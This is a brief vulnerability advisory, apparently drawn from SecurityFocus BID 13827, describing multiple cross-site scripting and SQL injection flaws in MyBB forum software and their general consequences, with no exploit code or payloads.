MyBB Multiple Cross-Site Scripting and SQL Injection Vulnerabilities

                                                source: http://www.securityfocus.com/bid/13827/info

MyBB is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

The application is prone to multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

The application is also prone to multiple cross-site scripting vulnerabilities. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
